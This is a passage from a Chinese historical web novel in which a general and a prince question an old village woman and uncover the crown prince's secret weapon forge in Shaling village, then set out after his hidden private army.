云暮这才满意。两人在庄子上走走看看,不知不觉竟走到了林中。 林中枝丫交横,云暮搭弓,瞄准一只谨慎的野兔。一只飞鸟惊了林子,野兔四下逃窜。 云暮追着野兔来到密林深处,京城久无雨,然密林却雾气四起,明明是午间,金光却渗不进几分。 云暮凝神寻找野兔的踪迹,手中之箭蓄势待发,一个黑影闪过树桩,她放松手指,箭羽没入黑影的身体,瞬间没了生息。 她追得太快,早早将沈聿明甩在身后,捡起野兔打道回府时,一个人影从朦胧的雾气中来,云暮悄无声息地把手放在箭筒上。 “云暮?” 听到是沈聿明的声音,云暮松了一口气,“王爷。” “猎到野兔了?” 云暮将野兔举至他面前“等会儿烤野兔吃。” 沈聿明拧眉打量周遭,拉着云暮往外走去:“回去吧,这地方阴气森森的。” 云暮顺着他的视线看去,深以为然地点头:“确实,树密雾浓,适合藏人。” 林密雾深,没人会想来这种地方,但如果是见不得光的人呢? 云暮忽然开口:“如果太子把私兵养在这种地方呢?” 沈聿明忙捂住她的嘴:“这话也不怕被人听见。”此处已经不是他庄子的范围,难保里面会藏人。 云暮拉下他的手,凑到他耳边低声道:“东宫年年入不敷出,出去豢养私兵,我想不出旁的原因。” “私兵和十五那些孩子不同,想要取胜必得训练,养在暗无天日的地下会让他们降了警惕心。且不能离京城太远,来日他若想成事,远水解不了近渴。” 云暮越想越觉有道理,她连游玩的心思都歇了,出了林子后忙叫来陈文:“去查京郊附近有多少密林,你和他们都小心些。” 沈聿明遗憾地将野兔扔给文竹,今日怕是吃不到了。 果不其然,下一瞬,云暮对他道:“一会儿不如在附近的村子转转?” 沈聿明颔首:“也可。” 先前他们一直把目光放在京城,若是铁铺和私兵都在城外呢? 两人的模样都太过惹眼,云暮今日并未带易容的工具,她在四周搜寻了片刻,拿着几株草药走了回来,将其研磨出汁,涂在她和沈聿明的脸上。 虽说不能换张脸,但至少不会让人立马认出那就是他们。 紧接着,两人以庄子为起点,在四周打听这有无能修理马蹄的铁铺。两人时而赶路,时而停下查看马蹄,做足了姿态。 每每有人路过,沈聿明都会和对方聊上两句,而后指着马蹄道:“我们兄弟二人今日想着进山里打打牙祭,谁想还未到,马蹄倒先损了,附近可有能修理马蹄的铁匠?” 然每个人都摇头。 一个老妇颤颤巍巍地拄着拐杖走来,对二人说道:“二位官爷,可有民妇的信?” 走了一路,遇见之人都当他们是想占便宜的抠搜“商人”,现下却被一个老妇认出身份,云暮握住了“断剑”的剑柄。 沈聿明摁住她的手,对她摇了摇头:“我去瞧瞧。” 他将缰绳放在云暮的手中,而后朝老妇都走去:“你的信从何处寄来?” 老妇耳背,听不太清,沈聿明拔高了声音又问了一次,老妇才道:“从沙岭村来,你们进京不是会路过那处吗?” 见沈聿明两手空空,她急道:“你们没送来?” 人们听到动静后越来越多,云暮此时已经站到了沈聿明的身侧,她警惕地看着这些拿着锄头接近的人。 一个较为年长的长者拦住一人,对云暮他们说道:“外乡人,我是此村的村长,老婆子糊涂了,说错了话,你们勿怪。” 云暮问道:“在下略通点医术,不知能否让在下替老人家看看?” 村长摆摆手,让人把老妇扶走:“我们不知给她请了多少大夫了,前两年好了不少,但自从她儿子辞世后,她就成了这副模样了。” 云暮疑惑道:“她儿子?” 村长自知失言,他只道:“前两年她儿子进山砍柴,不料被一只猛虎咬死,恐她知道后难过,便撒谎说她儿子去了沙岭村。” 云暮同情地看了老妇的背影,叹了一句:“她也是个可怜人。” 村长害了一声,“可不是嘛,发生这么大的事,大伙儿这些年都一直在帮衬,又让人每隔几个月就写封信,谎称那是她儿子寄回来的。” 沈聿明好奇道:“我们兄弟二人这几年都在京城,所见之人都是拿钱办事,为何你们如此厚待她?” 村长的面色有些不自然,他轻咳了一声,“人都有老的一天不是?大家邻里邻居的,能帮则帮。” 沈聿明露出一丝艳羡,而后又落寞道:“当年我娘若是……” 他叹了一口气:“罢了,村长,既然此处没有铁匠能修马蹄,我们二人就先告辞了。” 云暮牵着马往村口的方向走去,刚从村子出来,就察觉身后有人跟着。她故作不知,和沈聿明抱怨着今日不该出门。 第二百零八章 三人行 有人跟着,他们不能再四处打听了,只能顺着回京城的路走,但依旧是逢人必问。直到他们临近京城,如芒在背的目光才终于消失。 京城和京郊不同,他们这副模样定会被把守城门的士兵认出,云暮四下看了看,把沈聿明带到旁边的林子里,还顺道从路边薅了几根野草。待到一条小河处,云暮将其揉开敷在他们的脸上。 一盏茶的功夫过后,云暮便让沈聿明洗了脸,方才还蜡黄的脸又重回白皙。取出外袍套在身上后,云暮才和沈聿明说道:“王爷,今夜我想去见见那个老妇。” 村长的表情很是奇怪,如今没有头绪,她不想错过任何一个可能的消息。 沈聿明对她的话没有异议,“我陪你。” 这几日没见砚石,他也没有多问,而是将活揽了过来:“沙岭村那边,我让文竹去查。” 云暮嗯了一声,此事事关重大,砚石不在,交给旁人她也信不过,倒不如让沈聿明帮着查。 云暮前些年曾在外办过不少差事,修理马蹄倒也还算得心应手。重新上了铁扣,两匹马踏了踏马蹄,发出一声嘶鸣,似是对此很满意。 云暮从布袋里掏出一个苹果,一分为二,塞进马嘴里,又梳了梳鬃毛安慰了一番:“今日难为你们了。” 这两匹是沈聿明精挑细选出来的,虽比不过他们惯常骑的,但在马群里也是数一数二的好,也比其他马能忍。 两人回到云府后门时,竟发现了一个意想不到的人。 暗一。 沈聿明还认得他,见他抱臂倚在后门,还当是梁文帝又派其来监视云暮,他挡在云暮面前:“你来做什么?” 暗一握剑的手紧了紧,他在此处等了许久,也没见云暮的身影,云府下人的嘴比蚌壳还严,不管怎么问,都只道小人不知。 怕云暮出事,他又去了一趟布政坊,依旧是没有消息。站在正门太过惹眼,他只能在此处等候,没成想云暮竟然是和沈聿明出去了。 上一次沈聿明还只是坐在马车里并未露面,今日就大喇喇地出现在人前,云暮这是把他的话当成耳旁风了? 他呵了一声,“云将军好兴致。” 云暮从沈聿明身后站出:“暗一大人,你来云府有何贵干?” 沈聿明在云府来去自如,他不过是才来一次,就遭人嫌得很,暗一压下心头莫名生出的心思,冷声道:“自然是奉皇命来商量前几日之事,云将军确定要在此处谈论这些事?。” 无法,云暮只能把人放进云府。 书房里,沈聿明依旧对暗一眼睛不是眼睛,鼻子不是鼻子。 暗一则道:“此事皇上只交给属下和云将军二人,王爷不妨回避一二?” 他不说话还好,一出口沈聿明就忍不住想怼上几句,云暮却握住他的手,“王爷,你先在外头等上片刻。” 沈聿明知晓云暮只是在做做样子,但他哪里肯,又趁机讨要了不少东西才一步三回头地走出了书房。 云暮一心和暗一对着干,对于沈聿明提出的要求,只要不是太过分,她都应下了,只为恶心暗一。 暗一沉声道“看来云将军还是没有把上次属下说的话放在心上。” 云暮毫不在意:“大人若是看不惯,去皇上面前揭发就是,没准这大将军之位还能换你来坐一坐。” 暗一的指腹抚过剑鞘,心中万般情绪终于消散,他睨了一眼露出一条缝的门口,“大人把事情都和王爷说了?” 云暮装傻充愣:“本将军不明白大人在说些什么,你今日是来打哑谜的?” 暗一察出不耐,没再多说,反倒是提起私兵一事。 见他真是来谈正事的,云暮思考了片刻,还是决定把今日之事托出,于是去找老妇的人又多了一个。 沈聿明和暗一分立在云暮的左右,沈聿明贴得尤其近,他不满道:“你怎么让他跟来了?” 今夜他把文竹都支开了,只想和云暮一起行动,结果竟多了一个如此碍眼之人。云暮也拿暗一没办法,“他是皇上的人,况且他武功不错,若是遇到不对,咱就抛下他逃走。” 两人都没有刻意压低声音,这些话一股脑钻进暗一的耳朵里,他道:“王爷和将军的声音不如小点?” 沈聿明嗤了一声,这话就是故意说给这个不要脸的人听的,要是压低声音可就没意思了。 再次抵达村子时,云暮看着房子,眼中闪过一丝茫然,今日那个老妇是被人送回哪儿来着? 村长和村子里的人赶得急,他们还没打听到任何消息就灰溜溜地走了,这下也只能一户一户地搜查了。 带着水意的手无声地戳破纸糊的窗户,三人从村口分散来找,终于在村子的北面找到了今日的老妇。 院子破败不堪,茅草屋上的稻杆、竹片一类的东西东缺一块西缺一块,若是再下场大雨,只怕这屋子就要塌了。 云暮看向沈聿明:“这怎么和村长说的不太一样?” 村长的话让云暮误以为村子里的人都很照顾老妇,如今一看,更觉得有猫腻。她没有敲门,反倒是拿出迷香吹进里屋。 不消片刻,方才还未睡着的老人此刻的呼吸已经平稳,云暮轻手轻脚地指使暗一把人带到一个较为隐蔽且安全之地。 她拿出解药放在老妇的鼻下,不过一会儿,老妇转醒,一眼就见到云暮和沈聿明,没想她还记得今早之事。 “二位官爷,当真没有我儿寄来的书信?” 云暮嗯了一声,道:“沙岭村离此地算不远,但也算不上近,来人家既然想念孩子,为何不去看看他?” 老妇声音忽然变低:“我老胳膊老腿,经不起折腾,况且村长他们不爱我往沙岭村去。” 云暮坐在老妇身旁,“这是为何?您儿子在沙岭村又是做什么?” 一行清泪从老妇的眼角流出:“是我拖累了他,早年我身子骨不好,我那其余的几个不孝子不给钱也就罢了,还从我兜里扒钱。” 第二百零九章 夜绑老妇 沈聿明委屈道:“没想到她这么不经吓。” 云暮边抓起老妇的手给她诊脉边提醒道:“她是个蹒跚老人,要是被你吓出个好歹来,我就把你易容成老太太,你去沙岭村打探消息。” 两人旁若无人地插科打诨,暗一在一旁冷冷地看着他们,并未言语。 “不对啊。” 云暮疑惑地再次给老妇号了脉,这才说道:“村长说儿子死后她便疯了,但脉象却无异常。” 沈聿明也略通医术,闻言他也搭指替老妇诊脉,当真与云暮所说无异。 “村长是真不知,还是在诓骗我们?” 人不醒也不是个办法,沈聿明拦下云暮要点穴的手,低声道:“老人家,有你的信,从沙岭村送来的。” 老妇果真转醒:“信?我儿的信在何处?快给我念念。” 沈聿明道:“老人家,您可还记得我们?今早在村口,我们见过。” 老妇竟此一吓,比刚才冷静多了,她回忆了片刻,“你们……是今早的官爷?明儿的信在何处?” 云暮道:“老人家,沙岭村距离此地不远,坐上半日的马车便可抵达,老人家既想念儿子,为何不去看看他?” 老妇没有答话,依旧喃喃着要信,云暮忽而拿出那枚许久不示人的天子令:“老人家,你再装疯卖傻,就别怪我们对你动手了。” “从脉象来看,您并无大碍,不知替你看病的是庸医亦或是被您收买,竟瞒过了村长他们。您说我若是将此事告知村长,他会如何?” 天子令出,云暮的身份不言而喻。 老妇年轻时也不过一个村妇,临老了孩子又出了意外,日日装疯卖傻只为求得真相,被云暮这么一诓,又看到那枚天子令,不敢再瞒。 她忽而放声大哭,林中鸟闻声而出,“大人,我儿死得冤啊!” 云暮和沈聿明对视了一眼,放缓了声音:“老人家,您细细说来。我们定会替您和您儿子讨回一个公道。” 刘氏苦等了这么多年,依旧没有等来一个公道,人人都道云暮狠毒,她如今却希望这个狠毒之人能给她讨来公道。 从刘氏抽抽噎噎的哭诉中,刘家一事被几人拼凑出来。 原来早年刘家生活艰苦,刘氏的丈夫是个铁匠,在沙岭村谋生,后来右臂被铁汁浇到,刘家的日子更是苦不堪言。 其丈夫郁郁而终,她独自拉扯刘明长大,刘明长到十岁才被送去私塾,想着让其寒窗苦读,挣个功名出人头地,没想刘明不过念了几年书,后来说什么都要去沙岭村继承他爹的遗志。 刘氏闹了一阵,又以性命相逼,都没能让其回头。直到刘明临走前拿出了几个账本还有几封信,刘氏这才得知丈夫的手臂被毁不是意外,就连郁郁而终都是有人被背后作祟。 丈夫已死,刘氏自知斗不过他们,便让刘明务必忘了这些事,又试图将东西焚毁,免得刘明引火上身。 刘明依旧不肯,将东西藏好后才出了门,刘氏找到账本和信封的藏身之地,几次想将其焚毁,但最后还是又埋了回去。 那年冬日,他自沙岭村回来,见家中柴火所剩无几,便想着入山捡些木柴,这一去,就没回来。 尸体是傍晚时分被村长等人从山里抬回来的,说是刘明在山里遇到猛虎,被猛虎一掌拍死,幸而附近有人,这才从虎口中夺回尸体,草草下葬。又问了刘明打铁时所做的账本。 刘氏的丈夫多年打铁器,刘氏怎会认不出刘明身上的伤口是刀剑所伤?她哭了一夜,第二日人就疯了,只记得刘明在沙岭村谋生,每隔半个月托官差送一封信回来。 村长欲找到账本和书信,自是不信刘氏已疯,让大夫来诊脉后,这才渐渐放下疑心。只是他也并非全然相信,命大夫在药里加些能让人神智混乱之药。 但他不知,大夫与刘氏是旧相识,他早已将事情和刘氏全盘托出,刘氏为了打消村长的疑虑,那药便喝一半倒一半。 这么多年了,那些东西依旧被埋在那个秘密之地,她每逢生人便会提起沙岭村和刘明,只为等到发现端倪之人,然而这些年来,竟无一人去查过。 村长耐心逐渐告罄,药的剂量加重了不少,是以她方才在初见云暮几人时,还当是村长派来杀她的人。 刘氏由坐改跪,朝着云暮磕头:“云大人,还请您换民妇的丈夫和小儿一个清白。” 云暮把刘氏扶起:“老人家,你若信得过我们,便告诉我们东西藏在何处。” 刘氏迈着蹒跚的步伐来到一棵已经枯死的柳树下,她抚着柳树干枯的枝干,“明儿小时候最喜欢爬的便是这棵柳树,下学后不见人,来这里找他准没错。” 说着说着,她的声音又有些哽咽。 云暮不知该如何安慰,只能伸出手在其背上轻拍两下,权当安抚。 “您放心,此事本将军定会查个水落石出。” 周围没有铁锹,刘氏一下一下用手刨土,隐隐渗出血。云暮不忍,从不远处折了一根翠绿的树枝,“老人家,用这个吧。” 刘氏拒绝了她,“明儿爱刨土坑,总是将衣裳弄得满身尘土,民妇每每见到都勃然大怒。” 云暮收回手,站至一边,沉默不语。刘氏也不介意,她想要的从来都是有人能安静将这些往事听完。 说来也着实可笑,前些年还被她骂作奸臣的人如今却成了她唯一的希望。 刘氏刨了许久,埋藏在地里的秘密终于得见天光。包袱才被刘氏拿到手,一伙人忽然蜂拥而至。 来的人不少,目测有二三十人。 云暮三人把刘氏护在中间,刘氏有预感,她恐怕活不过今夜了将包袱塞进云暮手中,“云大人,我们相识一场,民妇自知是个福薄之人,恐难以忍受与亲人阴阳分隔……” 云暮不知她为何言此,她分心安慰,留出几分应对突如其来的状况。 “把东西交出来,饶你们不死。” 第二百一十章 沙岭村 云暮只觉得好笑,她连伪装都不曾做,火折子还被她拿在手上,这都认不出她,这些人当真是瞎子? 云暮用手里的树枝挽了一个剑花,最后带着绿叶的最上端直指来人,“要本将军的命,你们也配?” 担心他们还留有后手,云暮起初并未对他们痛下杀手,她叫过沈聿明:“王爷,你去看看周围是否有埋伏。” 这些人今夜必须无声无息地死在这里,否则只怕人回到沙岭村,沙岭村的人已经早早撤离。 沈聿明拉着暗一在附近摸排了一圈,并未发现异样,他朝云暮比了一个手势,云暮手起刀落,黑衣人尚未来得及动作,脑袋已经骨碌碌低落了地。” 今夜多了暗一,将人擒下也变得容易了许多,云暮晃了晃手里的包袱,“你们也想要这个?可惜了,如今它是本将军的东西。” “大人……” 黑衣人越发少,有暗一和沈聿明在云暮只管审人,她身后的“死人”忽然持刀奋起,“把东西都交出来……” 刘氏一直注视着包裹,离云暮也算不上远,她将云暮推开,自己则来不及多躲闪。 刘氏被剑捅了个对穿,“大人您记得要还我们刘家一个公道。” 云暮愣愣地看着缓缓倒地的刘氏,她才想起封住对方的穴道,好叫从伤口流出的血慢一些。 幸而她还随身带了金疮药,血这才终于止住。他们不交代事情,留着也是无用,云暮抬手将人敲晕后,她放出飞云令,便动身直奔沙岭村。 他们已经打草惊蛇,那些人没在约好的时间内回去复命,派他们来的人就会发现异样,若等明日再出发,只怕是什么都查不到了。 京郊的宵禁比起京城要宽松了许多,只偶尔见过打更的更夫,除此之外,再无他人的踪迹。 三人快马加鞭终于来到沙岭村,原本沉寂的村子此刻灯火通明,锤子落在铁器上的敲打声不断。 即便是在京外,也依旧有宵禁,沙岭村竟把村民都聚在一处,夜间都还要打铁。 此刻还不能暴露身份,云暮抛给他们一人一个人皮面具,而后依次潜入沙岭村。 与村子格格不入地瞭望塔上,一边各站着一个人。暗一擅杀人,云暮没让沈聿明动手,他绷着脸一言不发。 云暮一心调查真相,只隐隐察觉到沈聿明不悦,她随口安慰了一句:“你就在一旁看着就好,免得脏了你的手。” 她顿了顿,才又加上一句,“我心疼。” 沈聿明瞬间被这三个字取悦,他的嘴角微微翘起,挑衅地看了一眼双手沾血的暗一,眼神中带了一丝嫌弃。 暗一颇为无语,若不是顾及对方的身份,他早就将人打一顿丢出去了。 云暮忙着清理放哨之人,没有发现两人的暗流涌动。 几人越发逼近村子中央,放哨之人也就越多。火光映在云暮的指尖,泛出冰冷的银光。 夜晚静谧,唯有打铁声不断。忽而林鸟惊动,越林而出,云暮指尖的冷光消散。 “大人,属下来迟了,徐文如今正带着人在赶来的路上。” 今夜冯章和徐文几人当值,看到飞云令,虽不知是何事,但也知事情紧急,他带着人先赶了过来,徐文则回布政坊调人马。 云暮指着前头的人说道:“尽快把人解决,不许扰了里头的人。” 滚滚浓烟自烟囱飞出,屋子里的铁汁不少,屋内空间想来不大,这么多人闯进去,恐避之不及。 云暮虽想拿到把柄,但不希望有人伤亡。 金吾卫多年来为梁文帝和云暮查探消息,也抄过不少人的家,做起偷潜的事那叫一个炉火纯青。 人即将摸到门口时,徐文终于赶到,他气喘吁吁地把手上的东西交给云暮:“大人,不妨让他们带上此物。” 云暮打开瞧了一眼,赞许地拍了拍徐文的肩膀,“做得好。” 徐文咧着嘴嘿嘿一笑。 于是乎,金吾卫在云暮的带领下,挂上东宫的腰牌,大喇喇地敲开了门。 门只开了一条小缝,里头伸出一颗人头,“找谁?” 领头的云暮不语,只拨了拨挂在腰间的腰牌。 那人依旧没有让步,狐疑地看着云暮及他身后的人“大人,先前不都是许侍卫独自前来吗?” 云暮不悦道:“先前是先前,如今太子是什么情况你不知?许侍卫若是能出东宫,我何必走这一遭?” “近日京城戒备森严,一个不注意就是掉脑袋的罪,若不是太子命我带人前来挑选称手的兵器,我嫌命长才会来这个地方。” “你若再不让,我便立刻打道回府,回去和殿下说明情况,以殿下对我的看重,只要我言过其实,你说你还有命吗?” 云暮的语调不急不缓,却在被管事怀疑时流出几分恼怒。 村长听了这话,心里已经信了七八分,他朝云暮身后看了一眼,发现守卫依旧尽职地放哨,心下才定。若有异常,这些人早就吹哨迎敌了。 云暮几人终于顺利进了里屋,甫一进门,她就被眼前之景震在原地。 屋子中间是一个转头堆砌而成的火炉,火炉分出几个出口,每一个都能流出铁汁。 铁汁冷却,被铁匠敲成长剑或是宽刀,亦或是铁弓铁箭…… 云暮随手从箱子里拔出一把尚未开刃的剑,又拔出腰间的长剑比对,发现材质、花纹等都一样,她心中大喜。 在京城苦苦搜寻了这么多天,没有半点踪迹,不想太子竟选了这个远离京城之地。 她想起庄子旁的密林。太子名下的田庄不在少数,他的私兵混在其中也并非没有可能。 她暗自数着铁匠的人数,许是晚上的缘故,打造台空了许多,云暮跟在村长身后,听他吹嘘着功绩。云暮才知东宫搜出来的那批武器不过只是冰山一角。 她不耐地打断村长的话,“太子那边等得急,本大人没空听你闲扯,东西呢?” 村长神情略僵,讨好道:“前几日查得严,小人怕出事,便自作主张让铁匠歇了两天,如今正加点赶了。” 云暮瞬间冷了脸:“你好大的胆子,殿下的话都敢违抗。” 第二百一十一章 招供 虽不清楚是何事,但从村长慌张的神态,想来今夜尚在打铁皆是因前几日的自作主张所致。 云暮将腰间的剑横在村长颈上,“耽误了殿下的大事,你担得起责任吗?” 此举把整个屋子的铁匠都震住了,不敢再有动作,云暮偏头看向他们,淡淡道:“再不继续,本大人就把你们丢进炉里祭剑。” 村长腆着笑移开剑:“大人,小人并非故意,只是当真查得严,我们这些人死了不重要,若牵连到殿下,那才是真的该死。” 云暮听了这话,脸色才好上几分,她收剑入鞘,“还差多少?” 村长把他们领到了另一间屋子,门被推开之时,云暮手握成拳,掐着掌心抑住惊讶。 屋子和她的卧房差不多大,大半个屋子都堆满了兵器,长枪、刀剑…… 村长觑着云暮的脸色,捉住了眼中一闪而过的惊讶,他得意道“大人,这几日炉房日夜不息也才堪堪造出这些,只是您带来的这些人怕是搬不完。” 云暮轻笑了一声,做出一副虚心求教的姿态“实不相瞒,本大人也第一次接这差事,也不曾走过那边的路,依你看,需要多少人手?” 村长觉着有些怪异,但看着几人贵气非凡,也没质疑,他道:“从沙岭村至墉关走的一直都是从天墉山绕路,恐被上山之人发现,小路初极狭,荒草荆棘遍地,再往前行三里路,殿下的人会在一颗槐树下接应,后面的路也就好走了。” 云暮恍然大悟,“多谢村长提点。” 方才傲气十足的人含笑低语,村长甚是得意,然才轻咳一声,便已被人劈晕在地。 云暮顺着手刀往上,看见了暗一的脸,她还未开口,沈聿明则不满道:“话没问清,你为何要自作主张?” 暗一将村长身上之物搜刮干净,不知从何处掏出一捆绳,把人捆在房内的柱子上,“王爷,此处是太子殿下的兵器库,私兵在墉关,您还想问些什么?” 咄咄逼人的语气让沈聿明不喜,他看向暗一:“若是墉关如此大,你如何知晓私兵具体在何处?” 暗一默了默,“凭他们躲在何处,把人带去就是,况且他不过是一个看守兵器的,从未到过墉关,又如何得知?” 沈聿明再次反问:“你又怎知他不懂?” 云暮见暗一吃瘪,她这才出来打圆场:“王爷,冯章那边想来已经拿下了,我们去瞧瞧。” 沈聿明呵了一声,没在和暗一计较,跟在云暮后面出了门。 不过只是一盏茶的时间,炉房里的铁匠已经都被捆在了一处,见只有三人回来,还当村长已经遇难,面上尽是绝望。 云暮缓步走至他们面前,腰间的木牌已经换成了那枚天子令,她在众人惊恐的眼神中撕下人皮面具。 锻造兵器事关重大,太子虽不许沙岭村的人随意外出,但并非所有人都闭目塞听,很快便有人认出了她。 “云暮?!” 话音才落,此人就挨了一脚,“将军的名讳也是你能叫的?” 云暮半蹲在他们面前,“认得本将军就好,这种掉脑袋的事你们也敢做?本将军记得你们不缺银子使啊。” 来之前她已经派人查了沙岭村,沙岭村的铁器在京城及周边一带甚是出名。铁器只要是从沙岭村流出来的,都会比寻常的贵上一番。 而沙岭村几乎家家户户都以打铁为生,她着实想不通这些人为何会和太子狼狈为奸。 一室沉默。 云暮指着方才认出她的那人道:“提他出来,本将军亲自审。” 说罢,她从火炉里拿出一根被烧得通红的铁棍,红光映在她的脸上,却透不出半分暖意。 名字?” 那人跪在云暮面前,耷拉着脑袋,沉默不语。 云暮把铁棍插进手下才准备好的火盆里,问道“你是直接还是让它暖暖身子后再招?” 此人依旧低着脑袋:“小人不明白大将军在说什么。” 云暮眉头一挑:“不知道?满屋的兵器不时你们造的?你们又往墉关送了多少,还需要本将军一一告知?” “本将军既能查到这一步,你们猜皇上那儿会不会也能得到消息?你们现在不说等天一亮,他们就会把你们押到诏狱。” 她目露兴奋,摩拳擦掌:“诏狱空了许久,听不到惨叫声,本将军在里头都睡不安稳。” “你在诏狱当真睡得着?” 沈聿明神色复杂地看了她一眼,他去岁入京时,曾打听过云暮的不少消息,其中就包括她喜宿诏狱。时人曾疑她乃山间鬼怪,专以吸血为生。 当时云暮足不出户,日日窝在云府,二人熟稔后,她也常宿家中,他只当那是句玩笑话。 云暮凑近沈聿明,勾了勾他的手,低声道:“王爷,不若你也去住上一晚,便知其中的妙处了。” 沈聿明去过几次诏狱,只觉其阴气森森,他回握住云暮的手“不去,你也不许去,实在觉得云府冷清,可带十五来王府投奔本王。” 两人说话间,那人已经被拖了下去。一声声惨叫声响起,屋内之人越发惊恐,提心吊胆地望着门外,不知下一个被拖出去的会是谁。 如此抓了四五个,终于有人开了口:“大人,我招,我全都招。” 云暮坐直了身体,“你知道多少?” 高志明双腿瘫软地被人拖到云暮面前,声音哆哆嗦嗦,话都说不明白。 云暮又放松身体,重新窝回椅中,“下一个。” 隐在暗处的金吾卫闻声而出,高志明的身体哆嗦得更厉害了。 “大……大……大人,小……小人……您……” 烧红的铁棍插在他的面前,溅起的火花在他手上灼出了一个水泡。 金吾卫抓住她的双臂时,高志明大声道:“大人,小人招,小人什么都招。” 铁棍在地上又敲了两下,云暮故作不耐:“再吞吞吐吐,你也去和他们待在一处。” 不远处又是一阵惨叫声,高志明的的脸色又白了几分。 第二百一十二章 旧事 和云暮想的一样,起初沙岭村的人对于私造兵器一事并不情愿,有些人为财帛迷了眼,有些却忧来日被人察觉,恐会株连九族,便想举家搬迁。 只是已经知晓了秘密的他们如何走得出这小村落? 才踏出村口几步,流箭从两旁飞来,将人钉成了筛子。 走不出去,报不了官,这事进入了死胡同,为了活命,他们只能听命于太子。 打铁所需之物皆由太子的人送来,所造兵器的去向也只有村长得知。有人打着外出采买的借口出去报官,那些人表面一口应下,第二日就出现在了炉房,劝他们谨言慎行,莫要再惹祸端。 一举一动都在太子的监视之下,他们也越发绝望,不敢再有动作。直至听说东宫搜出兵器一事,沙岭村之人整日提心吊胆。 幸而沙岭村因造兵器而不再对外出售铁器,名气渐低,有惊无险地过了几日,他们才又回到炉房继续为太子造兵器。 云暮问道:“你当真不知兵器被运往何处?” 高志明为自己喊冤:“大人,小人日日都被困在炉房里,当真不知。” 云暮头一偏,就有人把他带了下去,临走前,高志明还回头对云暮道:“将军,小人所言句句属实,无半句虚言啊!” 直至四周无人,沈聿明看向云暮:“你以为如何?” 云暮疲惫地揉了揉眼:“今夜若不前往墉关,只怕太子会将私兵转移。” 她没说的是,金吾卫现下能调动的人手也只有在场的这些,再连夜大动干戈地调人,太子定会有所察觉,继而断尾求生。 她利用猜忌,把梁文帝和太子两父子走到如今这一步,不把梁今越从太子之位拉下来,她不甘心! 沈聿明拉过她的手,安抚地捏了捏:“莫急,我现在去调城北禁卫军。” 城北禁卫军里有镇北侯的人,只要他想,那些人就会转而投入他的麾下。只是他觉得镇北侯一事尚未查清,着实不好去寻他们帮忙,一直没有应允。 现下一同杀到墉关,将太子的私兵一举拿下,这倒不失为一件好事。 云暮却以为不妥,“那些人伪装了这么多年,只是为了给镇北侯一个清白,若是因为我们而暴露,平白无故让你担了罪名。” 沈聿明笑道:“怎会,我与他们是盟友,他们没点本事也活不到如今了。” 他挠了挠云暮的掌心,认真道:“信我一次,这次定让他插翅难逃。” 云暮依旧是不放心,她叫过徐文:“你随殿下前去,不管发生什么,务必要护住他。” 厚重的云层遮住明月,沈聿明策马奔进夜色,黑色背影融进黑暗。 云暮在廊下来回踱步,才坐上椅子没一会儿又站起,频频望向沈聿明离开的方向。 暗一拧眉看她:“你该担心的不时他的安危,而是他能不能把兵调过来。” 他顿了顿,讥诮道:“掌权这么久,若是连个兵都调不过来,他干脆回涿州再当他的山大王罢了。” 云暮隐忍道:“暗一大人嘴皮子这般利索,当个暗卫真是屈才了。这般能说会道,想来手上也有不少手段,不如您去调些人马过来如何?” 暗一又沉默了,他身边之人都是暗卫,且都直接听命于皇上,他不卑不亢地说道:“暗卫并无此权。” 他说的不假,暗卫只听命于皇上,只效忠于皇上,不能结党营私,有违者,诛九族。 他一直秉着那个只听从皇帝、效忠皇帝的准则,直到他见了云暮,于是生出了私心,暗自瞒下了不少事。 云暮正心烦意乱,见暗一不再开口,她收回视线,但这次终于坐了下去。 时间一点一点过去,沈聿明和徐文依旧没有回来,她心底里越发觉得惊慌。但期间还有人要招出真相,云暮着实走不开,只能坐在椅子上干等着。 “你在此处守着本将军去看看。” 就在她忍无可忍,自觉要亲自走一趟时,她听到不远处传来如雷般的声音。 整齐的步伐声,云暮隐约看见一个身穿甲胄正朝着她的方向而来。 “王爷。” 沈聿明下了马,将缰绳丢给一旁的士兵后,三步并作两步走到云暮面前。 云暮把人打量了一遍,发现他并未受伤后,终于松了一口气。 “怎么还穿上甲胄了?” 沈聿明小心地看着她的脸色,“要随着他们一起杀到墉关,想着多穿一些也是好。” 云暮的眉头瞬间拧起:“你还想去打上一架?” 才调兵过来,就想着往后的争夺打架一事,他就不能好好待在她身边?在沈聿明看来,人都要到墉关了,岂能放过那当的道路? 他敲了敲身上的甲胄,又拍了拍心口的护心镜,“都准备妥当了,不会有任何危险。” 他声音又柔了几分:“况且,不是还有你在身边吗?我知道,你是会护着我的。” 云暮“呵”了一声,嘴硬道:“这与我何干?” 沈聿明拉过她的手:“就凭我是将军的人,将军得要对我负责。” 云暮在甲胄上锤了两拳,这才走到禁卫军面前,“都知晓你们的任务吧?” 她和沈聿明明面上还未和好,他又还带着人皮面具,现下也并未直言沈聿明。禁卫军里的这些人能镇北侯旧部,也知谨言慎行。 为首的那人说道:“回将军,知晓。” 云暮将两指放入口中吹响后才道:“诸位休整片刻,一刻钟后出发。” 一匹白色的骏马踏月而出,来到云暮面前时,它扬起前蹄,呼吸自带的热气把云暮笼罩。 云暮顺了顺它的鬃毛,上马后复又拍了拍它的脖子:“走吧。” 金吾卫先行,接着就是云暮、沈聿明和暗一,后面时是禁卫军和金吾卫,整个队伍将云暮三人团团包在其中。 几人朝天墉山的方向而去,京城的宵禁甚严,他们一路畅通无阻。每次夜间外出也都是仗着云暮对金吾卫巡查路线和时间的了解,才一次次躲过那些士兵。 第二百一十三章 搜查密林 蜿蜒的官道上,零星的几个火把缀在夜色中,不远处的密林里,倦鸟惊出。 一行人往墉关的方向行去,畅通无阻,云暮心下一沉,看向横在马背上的村长:“你确定之前的守卫是在此处?” 村长艰难抬起头张望:“云将军,确实是在此处啊,前头有密林,下官绝不会认错。” 怕打草惊蛇,他们来时不过燃了几个火把,云暮心想,看来是那些人迟迟不归,惊扰了那些人。 密林入口只容一人蹲行通过,云暮下巴微抬,便有人主动上前砍掉两旁用以掩饰的矮树。前行之路依旧狭小,但好在能一人一马穿行。 密林深处,几道车辙凌乱,云暮顺着车辙一路追去,最后在分岔口没了踪迹。 一左一右,云暮抉择不定,暗一率先带了几人往左边去了。 沈聿明将她往前推了推,“你去吧,这里有我,他们若是没走,掘地三尺我也会把人找出来。” 云暮将飞云令放入他的手中,叮嘱道:“情况不对就引燃它,我会马上赶回来。” 沈聿明毫不客气地把飞云令收入囊中,宽慰道:“从兵器来看,人不在少数。这么短的时间,他们跑不了多远,定然还在墉关,你万事小心。” 云暮嗯了一声,点了几个人往右边飞驰而去。 山道四通八达,不过一个转弯又出现一条岔路,即便是调了兵来,但人手依旧不够。 